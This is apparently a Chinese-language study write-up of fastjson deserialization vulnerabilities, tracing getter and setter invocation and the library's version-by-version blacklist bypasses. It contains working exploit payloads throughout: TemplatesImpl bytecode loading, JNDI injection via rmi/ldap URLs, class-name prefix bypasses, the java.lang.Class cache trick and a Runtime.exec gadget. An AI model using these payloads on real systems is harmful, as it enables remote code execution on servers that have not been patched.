前言
fastjson是阿里巴巴旗下的一个Java库,用于Java对象和JSON字符串之间的转换。
这个库从2017-2022年,陆陆续续爆出了20多个反序列化RCE。
官方采用黑名单的方式修复漏洞,这导致出现一系列的bypass= =
序列化分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package Pojo;
import java.util.Properties;
public class User { private String name; private int age; private String hobby; private Properties properties;
public User() { }
public String getName() { System.out.println("调用了getName"); return name; }
public void setName(String name) { System.out.println("调用了setName"); this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
public String getHobby() { return hobby; }
public void setHobby(String hobby) { this.hobby = hobby; }
public Properties getProperties() { System.out.println("调用了getProperties"); return properties; }
@Override public String toString() { return "User{" + "name='" + name + '\'' + ", age=" + age + ", hobby='" + hobby + '\'' + ", properties=" + properties + '}'; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import Pojo.User; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.serializer.SerializeConfig; import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test0 { public static void main(String[] args) throws Exception{ SerializeConfig.getGlobalInstance().setAsmEnable(false); ParserConfig.getGlobalInstance().setAsmEnable(false);
User user = new User("Jasper", 22, "fuck some people");
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.println("序列化后的字符串:"+s2); System.out.println("-----------------------------------------------------"); } }
|
1 2
| 调用了getName 序列化后的字符串:{"@type":"Pojo.User","age":22,"hobby":"fuck some people","name":"Jasper"}
|
为什么会调getter
宏观上理解,为了把对象转JSON,需获取对象的属性值。要么调getter取值,要么反射取值,这里用的前者。
1 2 3 4 5 6 7
| get:450, FieldInfo getPropertyValueDirect:110, FieldSerializer write:196, JavaBeanSerializer write:275, JSONSerializer toJSONString:559, JSON toJSONString:548, JSON main:16, Test0
|
构造JSON字符串的地方
核心在这个try-catch里,上面的调用getter取值也在这里面。
1 2 3 4 5
| write:196, JavaBeanSerializer write:275, JSONSerializer toJSONString:559, JSON toJSONString:548, JSON main:16, Test0
|
反序列化分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import Pojo.User; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.serializer.SerializeConfig; import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test0 { public static void main(String[] args) throws Exception{ SerializeConfig.getGlobalInstance().setAsmEnable(false); ParserConfig.getGlobalInstance().setAsmEnable(false);
String s2 = "{\"@type\":\"Pojo.User\",\"age\":22,\"hobby\":\"fuck some people\",\"name\":\"Jasper\",\"properties\":{}}"; System.out.println("---------------parse-------------------------"); Object parse = JSON.parse(s2); System.out.println(parse); System.out.println("反序列化对象所属类:"+parse.getClass().getName()); System.out.println("---------------parseObject-----------------------------"); Object parse1 = JSON.parseObject(s2); System.out.println(parse1); System.out.println("反序列化对象所属类:"+parse1.getClass().getName()); System.out.println("---------------parseObject---------------------------"); Object parse2 = JSON.parseObject(s2,Object.class); System.out.println(parse2); System.out.println("反序列化对象所属类:"+parse2.getClass().getName()); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ----------------------------------------------------- 调用了setName 调用了getProperties User{name='Jasper', age=22, hobby='fuck some people', properties=null} 反序列化对象所属类:Pojo.User ----------------------------------------------------- 调用了setName 调用了getProperties 调用了getName 调用了getProperties {"name":"Jasper","age":22,"hobby":"fuck some people"} 反序列化对象所属类:com.alibaba.fastjson.JSONObject ----------------------------------------------------- 调用了setName 调用了getProperties User{name='Jasper', age=22, hobby='fuck some people', properties=null} 反序列化对象所属类:Pojo.User
Process finished with exit code 0
|
1.根据JSON字符串封装deserializer
宏观上看,此步骤依据一系列规则,选择出可以参与反序列化的field,存进fieldList,放入deserializer。
1 2 3 4 5 6 7 8 9 10 11
| build:132, JavaBeanInfo <init>:39, JavaBeanDeserializer createJavaBeanDeserializer:586, ParserConfig getDeserializer:461, ParserConfig getDeserializer:312, ParserConfig parseObject:367, DefaultJSONParser parse:1327, DefaultJSONParser parse:1293, DefaultJSONParser parse:137, JSON parse:128, JSON main:16, Test0
|
当函数执行到return,获取到所有符合条件的field,里面有它对应的method,这是后面会调用到的。
这里面实际上就有很多分析文章里提到的,getter和setter需要满足的条件。
不满足下面这些if判断的method不会add进fieldList,也就不会在下一小节被调用。
setter需满足的条件
getter需满足的条件
2.调用deserializer#deserialize创建并初始化对象
核心逻辑就是,创建一个object变量,然后遍历前面获取的fieldList,对于每个field,调用其getter或者setter或者直接调用native set方法去给field赋值,然后返回object。
1 2 3 4 5 6 7 8 9
| deserialze:271, JavaBeanDeserializer deserialze:188, JavaBeanDeserializer deserialze:184, JavaBeanDeserializer parseObject:368, DefaultJSONParser parse:1327, DefaultJSONParser parse:1293, DefaultJSONParser parse:137, JSON parse:128, JSON main:16, Test0
|
下面的图,给出了不同的field是如何设置属性值的。
parse和parseObject的区别
单参parseObject是parse的封装,在封装的末尾,多了一个JSON.toJSON(),转JSONObject类型的操作。
这个操作会调用obj对象的所有getter方法。
而双参parseObecjt则不会调用JSON.toJSON(),从调用getter/setter的角度相当于parse函数。
总结:单参parseObject先调用一遍parse能调用的setter和getter,然后再调用一遍object所有的getter;
双参parseObject在调getter/setter方面相当于parse。
1.2.22-1.2.24
TemplatsImpl链
本质上,就是利用fastjson的任意getter调用去调getOutputProperties,触发CC3后半的链条。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class Test1TemplatesImpl { public static void main(String[] args) throws Exception{ String codes = ClassFile2Base64("D:\\Calc.class"); String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String exp = String.format("{\"@type\":\"%s\",\"_bytecodes\": [\"%s\"],'_name':'jasper','_tfactory':{},'_outputProperties':{}}", className,codes); JSON.parse(exp, Feature.SupportNonPublicField); }
public static String ClassFile2Base64(String filePath){ byte[] buffer = null; try { FileInputStream fis = new FileInputStream(filePath); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = encoder.encodeToString(buffer); return value; } }
|
缺点
为什么加@type指定全类名
不加的话,parse函数不会触发getter和setter
为什么parse要加Feature参数
Feature.SupportNonPublicField,字面意思要允许给非public字段赋值,CC3这些字段都public的。
由此可见这条链其实很鸡肋。
为什么_bytecodes要base64编码
Fastjson解析到byte[]数组的时候,会对byte[]数组进行base64decode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| bytesValue:112, JSONScanner deserialze:136, ObjectArrayCodec parseArray:723, DefaultJSONParser deserialze:177, ObjectArrayCodec parseField:71, DefaultFieldDeserializer parseField:773, JavaBeanDeserializer deserialze:600, JavaBeanDeserializer deserialze:188, JavaBeanDeserializer deserialze:184, JavaBeanDeserializer parseObject:368, DefaultJSONParser parse:1327, DefaultJSONParser parse:1293, DefaultJSONParser parse:137, JSON parse:193, JSON main:13, Test1TemplatesImpl
|
为什么会触发getOutputProperties
前面我们知道parse函数触发getter比setter苛刻,但是getOutputProperties正好满足要求。
- TemplatesImpl里只有对应的getter没有setter,setter不会抢getter位置
- 函数名符合规范
- 非static
- 返回值是Properties,是Map接口的实现类
- 无参
JdbcRowSetImpl链
本质是触发JNDI注入。
exp
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON;
public class Test1JdbcRowSetImpl { public static void main(String[] args) throws Exception{ String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\" ,\"AutoCommit\":false}"; JSON.parse(exp); } }
|
缺点
- 因为用的JNDI注入,受JDK版本限制
- 要能出网,不然无法加载远程类
利用链分析
JdbcRowSetImpl#connect有一个标准的JNDI注入
存在对应setter可以控制注入点
find usage看哪调了connect,在JdbcRowSetImpl#setAutoCommit调用了,以这个做为sink点即可。
为什么是DataSourceName而不是dataSource
注意到exp里写的并不是属性名dataSource,而是对应setter去掉set后的字符串DataSourceName。
这涉及到fastjson反序列化的属性赋值流程:
- 通过setter/getter截断前三字符,确定为propertyName
- 扫描JSON String,通过propertyName匹配到propertyValue(这是我们控制属性值的地方)
- 调用对应setter,setter(propertyValue)
显然,在第二步扫描JSON String的时候,用的propertyName是函数截断后的字符,而不一定是真的属性名。
以上面为例,第二步是按照dataSourceName去JSON String里找对应值,而不是按dataSource去找。
1.2.25-1.2.41
引入autoTypeSupport,默认为False,开启黑白名单校验与Bypass之路。
补丁分析
修改fastjson版本到1.2.25,再次运行上面的exp,程序抛出异常。
注意到异常抛出点:com.alibaba.fastjson.parser.ParserConfig.checkAutoType,下断点调试
1 2 3 4 5 6 7
| checkAutoType:805, ParserConfig parseObject:322, DefaultJSONParser parse:1327, DefaultJSONParser parse:1293, DefaultJSONParser parse:137, JSON parse:128, JSON main:6, Test1JdbcRowSetImpl
|
默认情况下,会进入这个IF,对类名先黑名单校验,再白名单校验。
黑名单里有前两条链子指定的类,所以直接抛异常。
开启autoTypeSupport的方法
- JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
acceptList添加方法
- JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
- 配置文件配置:在1.2.25/26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
Exp
把@type对应的值改成:”L类名;”,如下面的exp所示
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Test2 { public static void main(String[] args) throws Exception{ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}"; JSON.parse(exp); } }
|
限制
需要开启autoTypeSupport,有点鸡肋。
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|
调试分析
按照exp的绕过方法,肯定是能过denyList的,问题是为什么那样写类名也能加载到,需要分析。
1 2 3 4 5 6 7 8
| loadClass:1074, TypeUtils checkAutoType:861, ParserConfig parseObject:322, DefaultJSONParser parse:1327, DefaultJSONParser parse:1293, DefaultJSONParser parse:137, JSON parse:128, JSON main:8, Test2
|
从下面可以看到,如果类名以”L”开头、以”;”结尾,就会trim掉首尾的字符,然后递归调用loadClass。
所以这种绕过方法是能加载到类的,也就能正常执行exp了。
1.2.25-1.2.42
补丁分析
fastjson版本换到1.2.42,再次运行上面的exp,发现抛出异常了,检测到了上面那种类名写法。
被检测的到的原因,是开发人员在checkAutoType里,检测到前”L”后”;”的类名,就提前trim一次。
另外,为了提高挖洞门槛,把denyList改成hash值了,不过github已经有项目跑出来了大部分黑名单类名。
Exp
把@type对应的值改成:”LL类名;;”,即经典双写绕过,如下面的exp所示
1 2 3 4 5 6 7 8 9 10 11 12
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Test3 { public static void main(String[] args) throws Exception{ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}"; JSON.parse(exp); } }
|
限制
需要开启autoTypeSupport,有点鸡肋。
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|
调试分析
这里问题在于它提前trim了一下我们的类名,但是实际上在后面的TypeUtils#loadClass里也会trim我们的类名,而且是递归trim,很容易想到双写绕过黑名单。
首先,在ParserConfig#checkAutoType里trim一下我们的类名,由于这里双写 ,可以过黑名单。
1 2 3 4 5 6 7 8
| checkAutoType:906, ParserConfig parseObject:311, DefaultJSONParser parse:1338, DefaultJSONParser parse:1304, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:9, Test3
|
然后,我们进到TypeUtils#loadClass里,这里会递归trim我们的类名,最后加载到我们的类。
1 2 3 4 5 6 7 8 9 10 11 12 13
| loadClass:1131, TypeUtils [3] loadClass:1127, TypeUtils loadClass:1144, TypeUtils [2] loadClass:1127, TypeUtils loadClass:1144, TypeUtils [1] checkAutoType:975, ParserConfig parseObject:311, DefaultJSONParser parse:1338, DefaultJSONParser parse:1304, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:9, Test3
|
1.2.25-1.2.43
补丁分析
运行上个exp,报错,双写也被识别到了。
ParserConfig#checkAutoType下断点调试,看看怎么个事。
发现多加了一层IF,判断类名前两个字符是不是”L”,是的话直接抛异常,这样双写肯定就失效了。
Exp
之前加”L;”的方法无法使用,但是还有加”[“的方法,这是看TypeUtils#loadClass里处理类名的逻辑,自然想到的绕过方法,具体payload为什么是这样,看调试分析部分。
1 2 3 4 5 6 7 8 9 10 11
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Test4 { public static void main(String[] args) throws Exception{ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}"; JSON.parse(exp); } }
|
限制
需要开启autoTypeSupport,有点鸡肋。
1
| ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
|
调试分析
首先,我们看TypeUtils#loadClass,这里显示如果第一个字符是”[“,就trim掉,然后再执行loadClass,这是我们所希望的。
于是我们构造payload如下:
1
| String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
|
调试分析,发现会抛出异常
1 2 3 4 5 6 7 8 9
| parseArray:675, DefaultJSONParser deserialze:183, ObjectArrayCodec parseObject:373, DefaultJSONParser parse:1338, DefaultJSONParser parse:1304, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:10, Test4
|
提示代码期待在指定位置”,”前面,加上”[“符号。
于是我们改进payload如下,加上”[“
1
| String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
|
再次抛出异常,提示我们在指定位置加上”{“符合。
于是我们再改进Payload如下:
1
| String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
|
成功执行命令。
1.2.25-1.2.45
补丁分析
运行上面的exp,会抛出异常,”[“的绕过方式也被检测到了
开发者在ParserConfig#checkAutoType又加了校验,如果类名开头是”[“直接抛出异常
Exp
利用mybatis的依赖里的类,去打Mybatis里的JNDI注入,因为JndiDataSourceFactory不在黑名单里。
1 2 3 4 5 6 7 8 9 10 11 12
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Test5 { public static void main(String[] args) throws Exception{ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/remoteObj\"}}"; JSON.parse(exp); } }
|
限制
需要目标服务端存在mybatis的jar包,版本要求:3.x.x<Version<3.5.0,也存在一些限制。
调试分析
JndiDataSourceFactory本来就不在黑名单里,自然就bypass了,这里只看一眼JNDI的地方。
1 2 3 4 5 6 7 8 9 10
| setProperties:44, JndiDataSourceFactory deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory deserialze:267, JavaBeanDeserializer parseObject:384, DefaultJSONParser parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:9, Test5
|
JndiDataSourceFactory#setProperties存在JNDI注入,和JdbcRowSetImpl链子基本一样,不再分析。
1.2.25-1.2.47
和之前的绕过思路不同,本质是利用java.lang.Class内置类将恶意类加载进缓存,然后再使用fastjson反序列化去加载这个恶意类时,就会走缓存而不会走黑名单校验,进而成功bypass。
Exp
1 2 3 4 5 6 7 8 9
| import com.alibaba.fastjson.JSON;
public class Test6 { public static void main(String[] args) throws Exception{ String exp = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}}"; JSON.parse(exp);
} }
|
限制
不需要设置AutoTypeSupport,大大提高了可利用性!
下面是对Exp的影响,简单知道结论即可,无非是不同版本的checkAutoType里的逻辑有细微差别。
- 不开启AutoTypeSupport:1.2.25-1.2.47通杀
- 开启AutoTypeSupport:1.2.25-1.2.32报错,1.2.33-1.2.47打通
调试分析
这里默认不开启AutoTypeSupport,版本采用fastjson 1.2.47。
首先,在DefaultJSONParser#parseObject里解析JSON字符串,解析到第一个key是”a”,当检查到下一个字符是”{“的时候,程序认为a的值是一个对象,于是递归调用parseObject函数去解析这个对象
1 2 3 4 5 6 7
| parseObject:544, DefaultJSONParser parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
然后,继续解析又发现对象的key为”@type”,先调用checkAutoType()对传入的类名做检查
1 2 3 4 5 6 7 8
| parseObject:316, DefaultJSONParser parseObject:544, DefaultJSONParser parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
显然可过检测,java.lang.Class是可以在HashMap里直接找到的,通过findClass直接加载到,不走黑名单。
1 2 3 4 5 6 7 8 9
| checkAutoType:901, ParserConfig parseObject:316, DefaultJSONParser parseObject:544, DefaultJSONParser parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
于是加载到java.lang.Class对象并返回,下面就以类型为java.lang.Class为前提,对JSON字符串反序列化
1 2 3 4 5 6 7 8
| parseObject:384, DefaultJSONParser [2] parseObject:544, DefaultJSONParser [1] parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
java.lang.Class默认调用MiscCodec#deserialze,它要求传入的JSON字符串的key=”val”,不然抛异常;
1 2 3 4 5 6 7 8 9
| deserialze:227, MiscCodec parseObject:384, DefaultJSONParser parseObject:544, DefaultJSONParser parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
这也是payload为什么设置key为”val”的原因,如果key=”val”的话,获取key的value,存入objVal/strVal
再调用TypeUtils#loadClass,加载key的value对应的类并返回,对应exp就是加载JdbcRowSetImpl对象并返回
到这里,实际上我们就已经达成了加载JdbcRowSetImpl类的目的,此时会在缓存mappings里存一份映射关系。
1 2 3 4 5 6 7 8 9 10 11
| loadClass:1242, TypeUtils loadClass:1206, TypeUtils deserialze:335, MiscCodec parseObject:384, DefaultJSONParser parseObject:544, DefaultJSONParser parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
接下来就是类似的,解析”b”的值是个对象,然后又发现里边的key=”@type”,走进checkAutoType里,但是这次它可以在mappings里找到JdbcRowSetImpl这个类,因为前面有缓存,直接在这返回,不走下面的黑名单。
1 2 3 4 5 6 7 8 9 10
| getClassFromMapping:1202, TypeUtils checkAutoType:949, ParserConfig parseObject:316, DefaultJSONParser parseObject:544, DefaultJSONParser parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
至此,如图已绕过checkAutoType,加载到JdbcRowSetImpl这个类,后续利用JdbcRowSetImpl不再分析。
1 2 3 4 5 6 7 8
| parseObject:319, DefaultJSONParser [2] parseObject:544, DefaultJSONParser [1] parse:1356, DefaultJSONParser parse:1322, DefaultJSONParser parse:152, JSON parse:162, JSON parse:131, JSON main:6, Test6
|
1.2.25-1.2.59
漏洞分析
绕过禁用类黑名单。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.serializer.SerializeConfig;
public class Poc_1_2_59 { public static void main(String[] args) throws Exception{ ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload); } }
|
限制
- 需开启AutoTypeSupport
- 需要HikariCP组件
- 利用JNDI,受到JDK版本的限制
调试分析
暂无
1.2.25-1.2.61(复现失败)
漏洞分析
绕过黑名单
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Poc_1_2_61 { public static void main(String[] args) { ParserConfig.global.setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://localhost:1234/Calc\",\"Object\":\"a\"}"; JSON.parse(payload); } }
|
限制
- 要开autoTypeSupport
- 要commons-proxy组件
- 利用了JNDI,有JDK版本限制
调试分析
暂无
1.2.25-1.2.62
JndiConverter链
补丁分析
绕过禁用类黑名单。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Poc_1_2_62_a { public static void main(String[] args) throws Exception{ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.cocoon.components.slide.impl.JMSContentInterceptor\", \"parameters\": {\"@type\":\"java.util.Hashtable\",\"java.naming.factory.initial\":\"com.sun.jndi.rmi.registry.RegistryContextFactory\",\"topic-factory\":\"ldap://127.0.0.1:1234/Calc\"}, \"namespace\":\"\"}"; JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要slide、cocoon和javaee组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
CocoonSlide链
补丁分析
绕过禁用类黑名单。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Poc_1_2_62_b { public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://localhost:1234/Calc\"}"; JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要xbean-reflect组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
1.2.25-1.2.66
shiro链
漏洞分析
绕过禁用类黑名单。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.rmi.server.ExportException;
public class Poc_1_2_66_a { public static void main(String[] args) throws ExportException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"Realms\":[\"\"]}"; JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要shiro组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
anteros链
漏洞分析
绕过禁用类黑名单。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.rmi.server.ExportException;
public class Poc_1_2_66_b { public static void main(String[] args) throws ExportException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要metrics-healthchecks、Anteros-Core、Anteros-DBCP组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
IbatisSqlmap链
漏洞分析
绕过禁用类黑名单。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.rmi.server.ExportException;
public class Poc_1_2_66_c { public static void main(String[] args) throws ExportException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1234/Calc\"}}"; JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要ibatis-sqlmap、javaee组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
1.2.25-1.2.67
igniteJta链
漏洞分析
禁用黑名单绕过。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.rmi.server.ExportException;
public class Poc_1_2_67_a { public static void main(String[] args) throws ExportException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"tm\": {\"$ref\":\"$.tm\"}}"; JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要ignite-jta组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
shiro链
漏洞分析
禁用黑名单绕过。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.rmi.server.ExportException;
public class Poc_1_2_67_b { public static void main(String[] args) throws ExportException { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:1234/Calc\",\"instance\":{\"$ref\":\"$.instance\"}}"; JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要shiro组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
1.2.25-1.2.68
漏洞分析
利用expectClass绕过AutoType,不是黑名单绕过,不需要开autoTypeSupport。
Exp
1 2 3 4 5 6 7 8 9 10 11
| package Poc;
import com.alibaba.fastjson.JSON;
public class Poc_1_2_68 { public static void main(String[] args) throws Exception{ String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"Poc.VulAutoCloseable\",\"cmd\":\"calc\"}"; JSON.parse(payload); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package Poc;
public class VulAutoCloseable implements AutoCloseable{
public VulAutoCloseable(String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } @Override public void close() throws Exception {
} }
|
限制
- 需要在Server端有实现了AutoCloseable的类或者子类
调试分析
暂无
1.2.25-1.2.83
漏洞分析
绕过禁用类黑名单。
利用springboot环境下的commons-dao组件,进行jndi注入。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package Poc;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig;
public class Poc_1_2_83 { public static void main(String[] args) throws Exception{ ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String payload = "{\"@type\": \"com.epam.ta.reportportal.config.DataSourceConfig\",\"metricRegistry\": \"ldap://localhost:1234/Calc\"}"; JSON.parse(payload); } }
|
限制
- 需要开启autoTypeSupport
- 需要springboot环境、commons-dao组件
- 利用jndi执行命令,受JDK版本限制
调试分析
暂无
小结
挠头,fastjson这么多利用,给我语雀都整卡了= =
参考链接
fastjson反序列化 漏洞分析文章
1.2.48之后的利用@mi1k7ea
mi1k7ea师傅的fastjson漏洞分析系列 很详细适合学习
su18师傅 比上一个简略
https://tttang.com/archive/1579/
https://xz.aliyun.com/t/12096
关闭ASM开关,方便进行调试
https://blog.csdn.net/qq_45854465/article/details/120960671
ASM动态加载相关,如何查看内存生成的类的源码
https://juejin.cn/post/6974566732224528392#heading-6
https://blog.csdn.net/wjy160925/article/details/85288569
toJSONString()方法的源码分析(较浅)
https://blog.csdn.net/qq_31615049/article/details/85013129